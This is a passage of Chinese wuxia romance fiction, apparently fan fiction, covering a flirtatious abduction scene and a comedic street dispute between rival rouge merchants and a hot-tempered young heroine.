“这么关心我呢,弟弟?”祝离半眯着眼,不怀好意地笑着。
唐千聚闻言,尬笑挠头:“额,那……毕竟相识一场……”
祝离没回话,双眼锁住唐千聚。唐千聚被盯得不自在,眼睛到处瞟,不敢再跟祝离对视。她的视线像两道灼热的光,烧穿了他的脸,唐千聚焦躁不安,想隐身跑路了。
他清了清嗓子,稳住心神:“咳咳,那那没什么事我就先走了,有缘再见!”说完也不等祝离回话,立马转身就跑。
脚尖刚发力,耳边就传来熟悉的笛声。唐千聚顿感不妙,但已经来不及了,灵蛇已经缠上他的腰肢了。
“你跑什么?”祝离走上前,捏住他的下颚,拉近了两个人的距离,“我有这么可怕吗?嗯?”
“有……有话好好说,你先把蛇召回去……”唐千聚侧过脸,不敢与那双眼睛对视。他想给自己脑子来一箭,居然会对这个女人产生怜爱?她哪是需要怜爱的人!他就该一出门立刻跑掉,从此桥归桥路归路,谁也莫挨谁!
“那不行,放开你就一溜烟不见了。”祝离指尖发力,硬生生把唐千聚的脸掰正,逼他直视自己。
“你想干嘛……”唐千聚咽了咽口水,祝离的脸实在凑得太近了,他不敢动弹,也无法动弹,像一条砧板上的鱼,任她宰割。
他的表情实在有些可爱,不停滚动的喉结挠了挠祝离的心。她微微一垫脚,轻轻啄了他的唇。
对方猛得一颤,眼睛瞪得像呱太,又大又圆,满脸写着错愕。大灯笼眼配上他这张略显稚嫩的脸,祝离有种对小屁孩下了手的罪恶感。
真刺激。
祝离再踮起脚,双臂勾住唐千聚的脖子,覆上那张唇。
唐千聚脑袋中的某根线啪地断掉了,柔软的触感一下下冲击着他的理智,幽幽的香气包裹着他,一点点抽离他的感知。
感觉到对方已经很久没呼吸了,祝离坏笑着离开那张被她咬红的唇,舔了舔嘴角,手抚上那张脸,拇指一下一下摩擦着自己刚吻过的位置。那张薄唇微微张着,愈发地红润。
“弟弟,你没听说过吗?传闻,苗疆女子会把姿色不错的男子掠回家中当男宠,你……”
祝
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离的嘴巴一张一合在说着什么,唐千聚听不到,他的耳朵里只有空白的鸣音。
他的心脏要爆炸了。
不知道过了多久,待他终于回过神,祝离已经带着被灵蛇五花大绑的他走出一段路了。
只要不跟祝离对视,他的理智就能上线,他沉默地分析着目前的情况,顺便分析了一趟自己。
昨晚落荒而逃,等他反应过来时,居然跑回了自己在城外竹林的屋子。果然人一旦受到刺激,就会想回到自己的窝里躲着。回到家,疲惫感涌上心头,唐千聚直直地躺倒在床上。
现在的苗疆在新教主的带领下积极与中原交好,大部分苗疆人不再排斥外人。唐千聚伪装成商人,跟着商队抵达苗疆。商队在苗疆入口的地方扎营,有意交换物品的人们都赶往那边,人一多,那一块便逐渐形成一个小集市,热闹气息吸引了更多的人前来。
唐千聚是在第八天时见到祝离的,准确的说,是见到了那块玉佩——那块玉佩就明晃晃地挂在她的笛子上。
“哇~离姐姐你快看!中原人的小玩意都好有趣哦!”小女孩走在前面大声嚷嚷,时不时回头看一眼祝离,生怕她走丢了。
唐千聚大声吆喝,企图吸引祝离靠近,他好近距离看看那个玉佩。结果那个小女孩先一步过来,扫了一眼摊面就倒回去拉着祝离走了。“这个摊没什么好看的,离姐姐我们去那边吧。”
唐千聚假装闹肚子离开,转头悄悄跟在两人身后走出集市。一直跟着祝离回到她住的地方。
祝离伸了个懒腰,慢慢躺到椅子上,打开了刚在集市提回来的酒。她鼻尖轻动,表情微喜,拎起酒罐直接喝,清亮的酒水顺着她的嘴角流下。唐千聚仿佛闻到了那浓郁的酒香,不自觉地咽了口水。
直到黑夜降临,酒瓶从祝离的手中滑落,摔在地上发出磕碰的闷响。唐千聚的机会来了。
唐千聚脚步无声移动,双眼紧盯着那张脸,时刻关注她的状态。祝离的胸膛随着她轻轻的呼吸起伏,双眼瞌起,长长的睫毛投下一片小小的阴影。一直走到跟前,她都没有丝毫的反应,看来是彻底睡熟了。
唐千聚蹲下身,小心翼翼地去掏祝离腰间的笛子,轻轻扯过笛子上的玉佩细看。确实是与雇主给他看的那个玉佩相似,可以交差了。
没想到这么顺利,唐千聚心里默默对自己大赞一番,脸上露出了得意的笑容。
他抬起头,那熟睡的女子此刻却睁着眼,似笑非笑地看着他。
唐千聚猛地睁开眼,梦中那张脸散去,映入眼帘的是自家房梁。他缓过神,想起自己回到家了。捂住那颗狂烈跳动仿佛要冲出胸膛的心,唐千聚深呼一口气,闭上眼,脑海中再次浮现那张脸,那双眼睛,挥之不去。
糟糕。
唐千聚喊住了走在前面的祝离。
祝离回头,映入眼帘的是青年那张明媚的笑脸,目光闪烁。有风吹来,他的额间碎发被轻轻抚起。
“别回苗疆了,要不要去看看我的大宅院?”
16.叶遥看 x 锦菱1
远远看着唐千聚被亲被绑,三拾内心不由感叹:又多看了一话。没了祝离,谁还给他上真人图啊——回头一看,林青荷也正笑眯眯地眺望着。
对上三拾质疑的目光,林青荷收起笑容,假咳一声。
“原来林大夫也……”三拾似笑非笑。
她竖起手指,眨了眨眼:“嘘——好看,爱看,人之常情。”
你要说这个,那我可就来劲了!
三拾凑近林青荷,手背遮挡嘴,压低声音:“林大夫,我这里提供专属画本,可指定内容,顾客看过都说好。”
林青荷眉毛一挑,学着三拾的模样,挡嘴低声道:“真的?那能不能画叽里呱啦这样的?”
三拾点头:“当然,叽里咕噜那样的也可以,还有嘀里嘟噜和稀里哗啦等等,只要你想,什么样的都可以。”这,就是,专业!
林青荷的笑容依旧淡淡,恬静且美好。谁看了能想到他们在讨论的话题如此不正经?她眼睛都亮了!
刻不容缓,三拾马上要掏现有的图纸给新顾客林某欣赏欣赏,手往后一伸,想起早上出门太急,什么都没带。他讪讪地收回手:“你放心,顾客不满意可重画,且严格替顾客保密,”
林某当场掏钱下定。双方对这场迅速达成的合作十分满意,默契地收敛笑容,严肃点头。
“你们在干嘛?”
专业如三拾,为顾客瞎说也是服务的一部分:“青荷跟我下定了一副山水画要挂在医馆,锦菱你怎么在这?”没听到什么不该听的吧?
“林姐姐这么晚还没来,我过来看看。”
林青荷摸了摸锦菱的头,微笑道:“不用担心,有点事情耽搁了,我现在就过去给刘婶换药。”
锦菱乖巧点头,随后看向另一个人:“三拾,刘婶让我去街头找菜叔清账,我不认识人也不认识路,你能带我去吗?”
怎么一个个的有事全找我?
三拾寻思,一时半会也不想回家面对那只猫,闲着也是闲着。点头答应了。
今日是锦菱来到梅花街的第三天,她还没来得及好好逛逛,不免好奇。三拾被迫当向导,一路走走看看,谈话间很快就走到了街头。菜叔没见到,倒是先看到众人围成的圈。
有人围观,说明有乐子。三拾不爱管闲事,但他瞥见了熟悉的面孔,不止一个。
他超不经意地小声嘀咕:“似乎是前日闹事那对夫妇。”
正义女侠锦菱眉头一拧,拉着三拾就往人群里挤,挤到前面定眼一看,果真是那对夫妇——给她天真心灵划了一刀的戏子夫妇!
锦菱的好心情顿时消散,她板起脸,双手抱臂站姿冷酷,像个严肃的判事。她倒要看看,这对夫妇又在作什么妖。
站在夫妇对面的是个新鲜面孔。那人的白色袍杉在日光下泛着油润的光泽,几名仆人站在他身后。他仰着头,抬手间露出指上的翡翠扳指。
“好你个冯苑,想我金家给你吃喝用住,不曾亏待过你,你竟然早就与对家勾结!你故意误导大伙,说是我指使你反串陷害叶家,要不是被我金家下人碰见,我至今还被你蒙在鼓里!你简直是恩将仇报,见利忘义的小人!”
最近的瓜怎么都是连续瓜?
三拾面无表情,稍稍往锦菱侧边站。视线有点遮挡,那位熟人吃瘪的画面,他可得好好看看。
冯苑站在香玉斋门前,冷哼一声。她在金家多年,清楚金贵的脾性,直接打他七寸:“倒打一耙,金龟儿,你真令人恶心。”
“你!不许这么叫我!”金贵立马就被挑起火,恶狠狠瞪着,“我金家向来以和为贵,不曾与你一介妇人结仇,你如此毁我金家名声,想必是你背后的叶家在作祟!”
随着金贵话音落,香玉斋内走出来一名男子,锦菱好奇张望,三拾抿了抿嘴角,不让自己幸灾乐祸的笑容过于明显。
男子身着一身明黄衣裳,长发束起,一手背在身后,表情冷淡,缓缓开口:“怎么才说两句就把脏水往我身上泼?金掌柜,凡事讲证据,你空口鉴祟,小心遭报应。”
金贵大喊:“冯苑夫妇此刻站在你身前,这就是证据!”
男子扬起笑容,眉眼流露出的却是冷漠:“金掌柜要这么说的话,你不也正站在我身前吗?”抬手一扬,“这在场的诸位,可都是指控我的证据?”
“呸!叶遥看你少搅浑糊弄!大伙都是明眼人,冯苑夫妇频繁出入你香玉斋,现在还这般维护你,谁是谁非,大伙心里自有数!”
“哎呀金掌柜,你真是冤枉我了,叶某只是看他们一家三口有家不能回,可怜孩子,收留他们几日罢了。”叶遥看捶手,恍然大悟:“哦对了,至于他们一家为什么有家不能回,这事儿,可不就得问问金掌柜,派那么多人蹲守人家门口干嘛?”
金贵抱臂,高昂起头:“我不过是看冯苑迟迟未归金家,担心她出事,派人去她家看看罢了。叶掌柜,我关心下人,不会这都有罪吧?冯苑自己不敢回家,也不敢回金家,这不正说明了她心里有鬼!”
冯苑一改冷色,面露笑容:“是啊,有鬼,你就是那个龟啊。”
一听冯苑说话金贵就来气:“不许叫我龟!”
“有什么差别呢,反正都是叫你。”冯苑摊手,“眼里只有钱银,自私自利的金掌柜;下人犯错不管大小,全都要赔钱,甚至还要打一辈子白工来抵债的金掌鬼;自家生意差,不去想如何打理店铺,只想着出阴招害对家的金掌龟。你想听我怎么叫?”
“你!住口!”金贵怒目圆睁,额头青筋暴起,脸涨得通红,“你休要胡言乱语中伤我!”
冯苑接着出招:“金掌柜,听闻前日您在家中大发雷霆,怒砸东西,这是为何呀?可是家里哪些物品碍你眼了?”她眨了眨眼,食指点在下巴处,故作懵懂,“难道是因为做的坏事败露了,你气急败坏,却又无可奈何?”
金贵大喊:“我发怒是因为下人手脚笨,打碎了昂贵物品,我打骂两句罢了。你少要污蔑我!”
冯苑还想再嘲弄几句,忽而听闻身后传来一声咳嗽。
她一改嘲笑鄙夷的嘴脸,环视一圈围观人群,正色道:“在场的诸位,想必有不少人见过我夫妇俩。前日,我二人受金掌柜指使,在街上做了场戏,本意是想给叶家香玉斋泼脏水,不曾想被人当场识破,计划落空。”
金贵的额头开始渗汗:“你胡说!你污蔑!明明是叶遥看指使你的!”
冯苑没理会金贵的反驳,继续朗声道:“我夫君原为叶家护卫,为了我们这一家三口的安宁,背叛了他的雇主叶掌柜。叶掌柜问清原由后不但没怪罪,得知我们被金掌柜逼得无家可归,还把我们一家三口接济过来,让我们暂住叶家,不至于要连夜出城。”
“金掌柜说得对,我是背叛了金家,但那是他金贵不义在先!”冯苑指着金贵,义愤填膺,“金贵利用我对金老太太的情义,威胁利诱我替他办那种事!事情败露后立马派那么多人来我家,我可不信这是关心下人的行为。良禽择木而栖,谁是谁非,大伙心里自有数!离开金家,我唯一有愧的只有金老太太,而你金龟,利欲熏心,自以为是,回去睡你富甲一方的春秋大梦吧!”
冯苑的尾音回荡在人群中,她酣畅淋漓说完,叉着腰平缓呼吸。人群安静得仅能听到她急促的呼吸声。
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叶遥看向身后仆人摆了摆手,仆人意会,回屋内端来一杯茶水。冯苑接过大口喝完,神情满足,用挑衅的目光注视回金贵。
金贵流汗浃背,身体在发抖,他捏紧着拳头,开口时不受控制地破了音:“妖……妖言惑众!污蔑!全是污蔑!证据……对,证据呢!凡事讲证据,你张嘴就是污蔑,小心遭报应!”
“证据?你给我作为演戏道具的胭脂还在我这,要拿出来给大伙分辨分辨吗?”冯苑伸手从衣袖里掏出两盒胭脂,“相信在场有姑娘能辨得出来,这是哪家的胭脂。”说罢便递给离得近的群众。
一看对方居然只是拿出两盒胭脂,金贵慌张的心顿时就放下了——他们根本就没有证据。金贵的信心又回来了:“呵,冯苑啊冯苑,你为了污蔑我,还特意去我店里买了胭脂?还是说,这是你背后那位叶掌柜替你准备好的?”
闻言,冯苑仿佛听到一个天大的笑话,捂着肚子笑得后仰:“金龟啊金龟,原来你真的不知道,你家胭脂店为何生意一落千丈。买你家胭脂?你以为我不知道你偷工减料还换了配方?你家胭脂又贵又难用,还可能会烂脸,送我我都丢,我还去买?你可别侮辱我了。”
冯苑笑够了说完了,群众们沸腾了。
“这两盒确实是金家的胭脂,我用的就是金家的,这个颜色和质感跟他店里的一模一样。”
“自从金贵接手他们家店后,我就嫌又贵又少,没去过了,还好跑得快。”
“天啊,我姐姐用了情郎送的金家胭脂后长红点,怀疑是情郎下毒都没怀疑过是胭脂的问题。”
“毕竟也是老字号,谁能想到啊。”
“原来不是我的错觉,我就说他胭脂怎么这么难涂抹了,金贵还说是我自己的问题!”
“老金勤勤恳恳一辈子,人一走名声就被儿子整毁了,造孽啊。”……
群众越说越激动,每字每句都在指责。叽叽喳喳的声音不停传到金贵耳里,那就是在骂他砸了金家的招牌,坏了金家的名声。
不可能。
不可能。金家独子金贵,从小出类拔萃,聪明伶俐,是家族捧在手心的明珠,是要带领金家名扬天下享誉一方的奇才。怎么可能是坏了金家名声的蛀虫?不可能。
这些人的嘴脸,像极了唯唯诺诺的父亲,只懂得对他指指点点,根本不懂他的深谋远虑。这些人跟他的父亲一样愚蠢,又怎么懂得他的宏伟大志!
“闭嘴……闭嘴!”金贵双手握拳,用力挥舞,眼珠瞪得突出来,大声喝止那些杂言杂语,“金家的新配方是天才之作,你们懂什么?!你们这些人,不配踏进我金家店铺,你们那张破脸,不配用我金家胭脂!滚!全都滚回家擦炉灰去吧!你们都……”
众人的表情一致,从愤怒转成了惊讶。
金贵眼角瞥到有一抹粉色闪过,尚未来得及反应,自己的身体就旋转了一圈,跌倒在地上。左脸火辣辣的疼,他有点懵。
眼前一闪,一阵风呼过,金贵右脸也开始火辣辣地痛。
这一巴掌给他扇醒了,他慌忙抬手捂脸,挡住对方的攻击。对方打不到脸,转而开始对他身体拳打脚踢,他不得不卷起身体。
“住手。”
有人出言制止,语气平静中带一丝着急,没细听根本听不出。
金贵想起自己是带了下人来的,连忙大喊呼救。下人们靠近,又没完全靠近。锦菱一拳一脚毫不客气,几个平日里充充场面干些杂活的下人,哪敢上前啊。
“阿成,拉住她。”
金贵从指缝中看过去,发现全场唯一在帮他的,居然是对家掌柜叶遥看。
17.叶遥看 x 锦菱2
这么多人看着,护卫阿成不好直接去扒拉锦菱,他直接用拳头去接锦菱的攻击。
锦菱火头正盛,拳脚一一被人挡下,不免更气:“别拦我!”
阿成从防御转为进攻,向锦菱出拳。锦菱连连避让,转眼拉开了跟金贵的距离。金贵趁机连滚带爬躲到几个下人身后,锦菱站稳身形后,准备绕过阿成接着打金贵。
“我说住手,听到了吗?”
身后一道语气极冷的话传来,成功给锦菱降了火气。她回头,说话者正是整件事中最无辜的受害者——叶家掌柜叶遥看。
叶遥看的脸跟他的语气一样冷:“姑娘为何要出手打人?”
锦菱双手叉腰:“金贵心胸狭隘,坑害他人,还狗眼看人低,贬骂众人。”说到激动处还不忘拍拍胸膛,“本姑娘行侠仗义,为民除害!”
她邀功的小动作没有得到叶遥看的赞赏,叶遥看的眼神中甚至夹着一丝嘲讽。锦菱以为自己看错了,接着便听到叶遥看冷笑道:“行侠仗义?为民除害?不过是鲁莽冲动,自我感动,没有脑子罢了。”
三拾的呼吸滞了一下。
不好,这哥们嘴贱的毛病又犯了。
“你……说什么?”锦菱的嘴角抽了抽,难以置信自己听到了什么。
“我说你鲁莽,冲动,自我感动,没有脑……”
“啪!”一道响亮的清脆声。
叶遥看话音未落,一个巴掌呼在了他的脸上。冷漠如他,冷脸也没有维持住,出现了一丝错愕。
“我行事 ,不用你来指点 。”
锦菱一字一顿,咬牙切齿。怒气到了一定程度,她脸色反而平静,双眼中不再有平日所见的天真烂漫。
“你!”叶遥看摸了摸被揍的地方,疼得他忍不住皱眉,“不可理喻的泼妇!”
“啪!”
又一道响亮的清脆声,锦菱给他打了个对称。
好!打得好!就该狠狠抽那张贱嘴!锦菱女侠威武!
三拾在一旁乐笑了,他早就想打一顿叶遥看了!
下一掌眼看就要接着来了,叶遥看心头一震,下意识抬起手臂去挡。阿成及时拦在前面,冯苑连忙拉住锦菱高扬起的巴掌往下掰:“姑娘,姑娘,给点面子,你在我丈夫面前打他的雇主,我们一家又得当场失业了。”
冯苑用力扯着锦菱远离叶遥看,凑在锦菱耳边悄声说:“姑娘别气,我们心里都清着呢,你替我们揍了那个金龟,做了我们不敢做的事,你是大侠!我们万分感激!别管叶掌柜说了什么,在我们心里,你都比他强太多了!只是你突然插手打乱了我们原本的安排,你先冷静……”
锦菱闻言,脸色稍稍好转,她瞪着叶遥看,叶遥看也瞪着她,然后两人双双甩头转脸,不想再看到对方。
此时,一位身穿红衣软甲的女子拨开人群,她身后跟着另一位穿着同款服饰的男子,众人的注意力齐刷刷转向他俩。两人往中间一站:“是谁人当街寻衅滋事?”
金贵看到来人,双眼一亮,宛如见到再生父母,大声哭嚷:“军娘!军娘呐!你们来得正好啊,你们可要为小民作主啊!”他顶着张红肿的脸,拨开身前的仆人,扑向红衣女子。
李非阳伸手制止了他的靠近,她上下打量了一番金贵,尤其多看了两眼那醒目的巴掌印,正气凛然道:“你放心,若是有冤情,我天策府绝不袖手旁观!”
金贵得到李非阳的这句话,头又仰起来了。他手指一伸:“军娘,就是她!是她把我打成这样的。”他一手捂脸一手在身上游走,“哎呦太疼了,可不止我的脸,还有我的肚子,我的腿,我这身上没一块好的地方了……军娘,大伙都看到她打的我,她还打了叶掌柜!简直罪无可恕!快把她抓起来,不要再让她伤害其他人了!”
还没等李非阳发问,锦菱先点头了:“对,人是本姑娘打的。”她也手指一伸,“但是金龟寻衅滋事在先。”
“不许那样叫我!”金贵吼完,想到军娘就站在他旁边,不能失了礼。他站直身子背过手,清了清嗓子,“什么叫寻衅滋事?我不过是来质问我的仆人几个问题罢了,难道这也算罪?”
金贵仰起头:“大伙可都看着的,我一没打人二没砸物,请问我怎么就寻衅滋事了呢?问几个问题就是寻衅滋事了?那私塾学堂可全是寻衅滋事的人了。”金贵露出了一个得瑟的笑容,“但姑娘你,可是实实在在打了人,大伙可都看见了。”
“你!”锦菱怒色上脸,紧咬着唇,克制着不让自己再冲动出手。
太憋屈了——憋屈的不止锦菱,围观的众人都怒不可遏,但偏偏他说的歪理能站得住脚跟。恶人倒打一耙,正义却吃了瘪,大伙顿时都替锦菱感到怅然。
小姑娘嘴唇都咬出血了,让人心疼,要帮帮她,要怎样才能帮到她?
“什么打人?谁看到她打人了?我可没看到啊。”
人群中突然响起一句话,点醒了众人。仿佛打开了一个门闩,屋内的人全部涌了出来。
“我也没看见,谁看见了?”
“没看见啊,什么打人?谁打人?打什么人?”
“不知道这金龟在说什么。”
“没看见有人动手打人啊,金龟没睡醒吧,在这瞎说什么呢?”
“没看见,我没看见。”
“金龟自己摔了一跤觉得丢脸就搁这瞎说的吧。”
“就是就是。”……
金贵没想到这群人居然公然颠倒黑白,七嘴八舌的声音全是在维护那个打人者,顺便指责他。一股气血涌上心头,金贵脑袋发嗡。
“闭嘴!”金贵双眼布满红丝,咬牙切齿,从齿缝挤出两个字。他怒目睁眉看向叶遥看:“叶掌柜,你也被那臭丫头打了,你的脸跟我一样!”
叶遥看抿了抿嘴,伸手去摸脸上还红肿的地方,周围七嘴八舌的声音逐渐降低。叶遥看缓缓开口:“我没有被人打,脸是我自己打的。最近吃得多有些气胀,这是我叶家祖传的调养之法。金掌柜如果需
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要,我可以传授。”
“噗呲。”冯苑低头转身,肩膀发抖。三拾在旁边笑得捂脸。
锦菱倒是没料到叶遥看也会替她说话,一时心情复杂,原来他是个好人。对上叶遥看的目光,对方翻了个白眼,转移了视线。呸!好人个鬼!
金贵惊讶地张着嘴,他也没料到同为苦主的叶遥看会替锦菱说话,他环视一圈,突然双眼一亮——他带了仆人来的!
仆人没办法,只能顺着自家老板的话语,指认了锦菱。
李非阳心中有了数,不过依旧得按规矩办事:“姑娘,麻烦你跟我们走一趟,有什么话,留待府内再说。”
锦菱不后悔打了人,心甘情愿受罚,她甚至一开始就承认了人是自己打的。只是辜负大伙为她辩解的好意了。“不用锁压,我不会逃,我自己走。”
李非阳感谢锦菱的配合,随即驱散人群,带着人回府了。
乌泱乌泱的人群一散,香玉斋门前便空阔出来了,叶遥看带着冯苑阿成回到了内屋。
冯苑进门前吩咐了他人去拿跌打消肿的药给掌柜敷脸,自己起手给掌柜倒茶:“东家,是不是要去天策府接那姑娘?”
叶遥看端起茶,嘴稍微张大,两侧脸颊就刺痛。他皱眉放下茶杯,冷哼道:“不接,该她吃吃牢饭,好长记性不要多管闲事。”
“哎呦叶掌柜,这脸怎么啦?叶家祖传调养之法怎么不能消胀,反而更肿了?”
听到这熟悉的声音,叶遥看内心更烦躁了:“冯苑,赶客。”
“这是被谁给打了啊?不会是因为自己嘴贱被打的吧?啧啧啧,真可怜啊。”
幸灾乐祸太爽了,尤其幸灾乐祸的对象是叶遥看,更爽了。三拾乐呵呵地坐到叶遥看旁边。
冯苑准备赶人,看到两人相处的模样,心中了然,便只拿起药轻手轻脚给叶遥看敷上。
三拾乐呵够了,下巴一扬,示意叶遥看说话。叶遥看不吭声,闭上眼等药敷完。突然传来尖锐的刺痛,“嘶!”叶遥看猛地睁开眼,三拾的爪子正毫不留情地掐着他没敷药的另一边脸颊。
叶遥看冷着一双眸,用力拍掉那只魔爪:“你是人吗?”三拾嘿嘿一笑:“说说吧,怎么个事?虽然你平时也嘴贱,但这次真的过分了啊。”
冯苑默默站在旁边,她想起三拾在街上戳穿自己那一幕。他会怀疑自己,是因为他了解叶遥看是一个怎么样的人,知道叶遥看会怎么做,不会怎么做。如果不是碰巧遇到三拾,她借刀杀人的法子很完美。
叶遥看瞥了一眼冯苑,冯苑了然:“东家嘴疼不好张嘴,我来说吧。”三拾抬头看向冯苑,挑起眉:“说起来,这事发展成这样,似乎是因为我的介入?”
叶遥看接过药自己敷,让冯苑专心说话。“是,也不是。事情本该在我们一家连夜出城结束,只是……”三拾截断了她的话:“只是叶掌柜他向来有仇必报,金贵这么整他,他肯定得回礼对吧。”
冯苑眨眨眼,微笑点头。
18.叶遥看 x 锦菱3
“你是说,他收了你们一家三口后,让你们夫妻俩到处走动,是故意挑衅金贵,等着他上门来闹?”
冯苑点头:“其实,天策府也是东家派人去通知的。我了解金贵,他气上头就喜欢打砸物品。我们本意是等他动手的时候,天策府正好赶到,抓他了个现行。能砸的东西都给他准备好了,没想到……”
“没想到跳出个一腔热血,行侠仗义的姑娘。”三拾顿了顿,“虽然打乱了你们的计划,但她并没有错,你这两巴掌挨得真不冤。”
冯苑及时给自家雇主递台阶:“东家其实也是为了阻止锦菱姑娘继续打金贵,只要没被天策府抓到现行,那就还可以再周旋周旋。”三拾乐了,手一挥说:“得了,你不用替他辩解。锦菱一出现他就明白是自己的计划不周全,气急败坏骂人家小姑娘,自负自傲惯了,都不能接受自己的失败了?”
三拾说得毫不留情,直戳叶遥看内心,叶遥看喉结滑动,低眉看向手中的药罐。冯苑还想再说点什么,叶遥看一扬手,她只好闭嘴往边靠。众人沉默,场面一时安静了。
叶遥看放下药罐:“我会跟她道歉的。”三拾打了个哈欠:“什么时候?”叶遥看闭眼:“等她从牢里出来。”三拾伸了个懒腰:“行啊,那你记得去跟刘婶说一声。”叶遥看睁眼:“为什么?”“她现在在刘婶家住。”“……你去说。”“可以,我会顺便告诉刘婶,你是怎么骂锦菱的。”
叶遥看抿紧唇,一口气憋得不上不下,欲言又止,最终扶额叹气:“走吧,去天策府接人。”
冯苑挑眉,东家刚还说让人在牢里长长记性来着,这就改主意了?等叶遥看和三拾走出屋门,她暗戳戳自家丈夫,问起刘婶。阿成伏在妻子耳边正准备细语,叶遥看回头喊人,冯苑瘪了瘪嘴,只能暂时收起好奇心。
锦菱非常配合,把自己参与其中的两段事交代得一清二楚,再加上叶遥看几人选择性补充了一些口供,李非阳一琢磨,把人从牢里领出来了。
单看叶遥看那张脸,锦菱的气就不打一处来,气鼓鼓转开脸。李非阳开始走流程:“锦菱姑娘,不管金贵的所作所为如何,你毕竟是当众出手打了人被举发,按律法得受笞刑。方才叶掌柜交了赎铜,故免了你的笞刑,你可以离开了。”
锦菱双手抱肘哼哼道:“谁要领他的情,我宁愿受刑。”叶遥看眉毛抽抽:“那你就回牢里等着受刑吧,我还不想浪费这笔钱。”锦菱大哼一声,掉头就往牢房走。三拾连忙上前拦住:“诶诶诶,刘婶还在家里等你回去呢。”锦菱鼓了鼓腮帮子,不情不愿又走回李非阳旁边。不小心又跟叶遥看对视上了,两人都不爽地别过头。
冯苑内心更好奇了,这刘婶到底何方神圣,怎么名头这么好用?不过她当务之急是转移话题:“小军娘,金贵这般陷害叶掌柜,会受到什么刑罚?”
李非阳摇头:“按你们的说法,他两次陷害,但都未对叶掌柜造成损失,你们也没有实证来证明是他先指使下人挑事在先,我们不能根据你们几句话就给他定罪。”冯苑问:“我不能作为人证吗?”“这件事我们不能下结论,就是因为没有任何证据能证明——你的所作所为到底是向着哪边。”
李非阳的意思是,冯苑到底是金家的人还是叶家的人?第一场戏是为了金家陷害叶家在先,还是叶家早收买了她反串在先?没有任何实质的证据,除了当事人,没有人知道,没有人说得清。这事居然就这样陷入了无解。
所以才要故意招惹金贵,诱他出手,给他递一个罪名。想到这,叶遥看气就不打一处来,冷冷地看向锦菱。锦菱感受到了他的目光,回了一个白眼,气得叶遥看牙痒痒。但又不能当着李非阳的面骂是锦菱破坏了他的计谋,不然就真坐实是他要陷害金贵了。
锦菱问:“那金家的胭脂不是有问题吗?”冯苑摇头:“金贵是换了配方,但其实新配方并无毒无害。只是其中的某种材料,部分人刚开始使用时容易起红点,适应一段时间后就没问题了,不是故意下毒。”
“那……他这样寻事生非,最后却安然无恙,一点损失都没有吗?”锦菱愤愤问道。三拾说:“也不是,起码名声是彻底毁了,往后金家铺子很难再起。”锦菱灵光一闪,伸出食指:“噢!幸好本姑娘打了他一顿,不亏!”
姑奶奶你可闭嘴吧……你瞅瞅叶遥看,他气得要憋出内伤了……
三拾假咳两声,跟李非阳告辞,带着人走了。
出了天策府的门,锦菱立马板起脸:“赎铜我会尽快凑齐还你,本姑娘不会白欠他人人情。”叶遥看冷笑:“那可真是太好了,在下也不想跟愚笨之人有过多的牵扯。”说完抬脚就走。锦菱也不受着这口气,转身就走。两人大步流星,恨不得离对方十万八千里。
“跟着本姑娘干什么?不是不跟我多牵扯吗?”锦菱扭头愤愤瞪着叶遥看。叶遥看嘴角抽抽,步伐迈得更大:“这话该我说,刘婶家可不在街头。”锦菱的胜负欲被激活,追赶上叶遥看:“本姑娘想去哪就去哪,你管不着。”两人就这样莫名其妙开始了竞走比赛,把另外三人落在原地。叶遥看直接小跑起来:“谁要管你,自作多情。”
眼看着叶遥看又要超过自己了,锦菱直接抠了个蝶弄足,一溜烟赶超,把叶遥看远远甩在身后,站在前方回头抛个了蔑视的眼神。叶遥看忽得反应过来,怎么自己跟着幼稚了?
被两人无视的三拾众人可算赶上来了。眼瞅叶遥看气喘吁吁的模样,三拾顿时又想犯贱了:“呦,这不是西湖叶家叶遥看?听闻藏剑弟子个个身手了得,你怎么输给一个小姑娘了?”
叶遥看深吸一口气,平缓气息,也压了怒火
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。想想自己跟一个刚出山门的小姑娘较真,实在有失风度,懒得跟她计较了。但三拾这种老油条,不能放过。“呦,这不是昔日长歌门优秀弟子三拾?怎么现在只能在街上当个碌碌无为的小画师了?”
三拾被噎,脸上嬉笑秒碎。叶遥看勾起一个浅笑:“咱俩半斤八两,谁也别笑谁。”三拾抿了抿嘴,捶了一拳叶遥看胳膊,他决定不告诉锦菱“诱龟计划”的真相了。
诶,说起这个……三拾再次露出幸灾乐祸的表情:“叶掌柜,你还没跟锦菱道歉。”轮到叶遥看抿嘴了。两人就这么沉默着往街头走去,冯苑夫妻俩跟在身后。
冯苑看了一眼天色,与丈夫对视一眼,阿成了然,点头。冯苑随即走到叶遥看跟前,微微俯身:“东家,时候不早了。”叶遥看也抬头看了一眼天,手一摆:“去吧,盘缠已经交代好了。”
阿成也走到叶遥看跟前,夫妇二人对着叶遥看深深一敬,嘴里说了几句感恩话,便挽着手离开了。
三拾挑眉:“咋?雇主嘴太损,不愿意干了?”叶遥看目光平淡:“疑人不用。冯苑很聪明,心思密,隐藏深,留着容易被背刺。”看出了三拾不解,他继续说:“今日那一出是提前说好的,我出钱出力送他们离城,他们帮我整一波金贵。”三拾扶下颚:“不怕后面金贵又来折腾吗?少了冯苑不是少了很多情报?”叶遥看双手抱肘沉默一番,转移了话题:“锦菱在刘婶家住是你指引的?”
三拾点头,还在疑惑怎么突然又提锦菱了,当事人就出现在视线里了。
“三拾,你怎么走得跟某个乌龟一样慢,我们还要去找菜叔的。”锦菱紧盯着三拾的脸,一点眼角的余光都不分给叶遥看。三拾乐了,看热闹不嫌事大,一把扯过叶遥看胳膊:“锦菱啊,叶掌柜有话要对你说。”
叶遥看双眼射出数道寒光,直直射穿三拾那张脸。三拾都不敢想他心里骂得有多脏,眨眼故作无辜,嘴里无声念了两个字:“道歉。”叶遥看默默叹了口气,心想君子自当敢做敢为,可不能在小姑娘面前漏了泄,有损我叶家名声。他清了清嗓子,斟酌着要怎么开口。
锦菱瞥了叶遥看一眼:“怎么?乌龟要诉说爬得慢的感想吗?那本姑娘得洗耳恭听,好好讨教了。”
好姑娘,你面对冯苑的时候嘴怎么没这么锋利?三拾乐呵。
叶遥看太阳穴突突,到了嘴边的话一拐弯,嗤笑道:“是啊,你是得好好向乌龟讨教怎样才能沉得住气。而不是冲动做蠢事把自己送进牢狱,弄巧成拙,惹人发笑。”
锦菱的怒火噌得又点燃了。
糟,都不是省油的灯。
虽然三拾想看乐子,但叶遥看现在没有护卫在旁,万一锦菱冲动上头,抓着人就往死里揍,他救不了啊!他俩都手无缚鸡之力,加起来都打不过锦菱半只手!
19.叶遥看 x 锦菱4
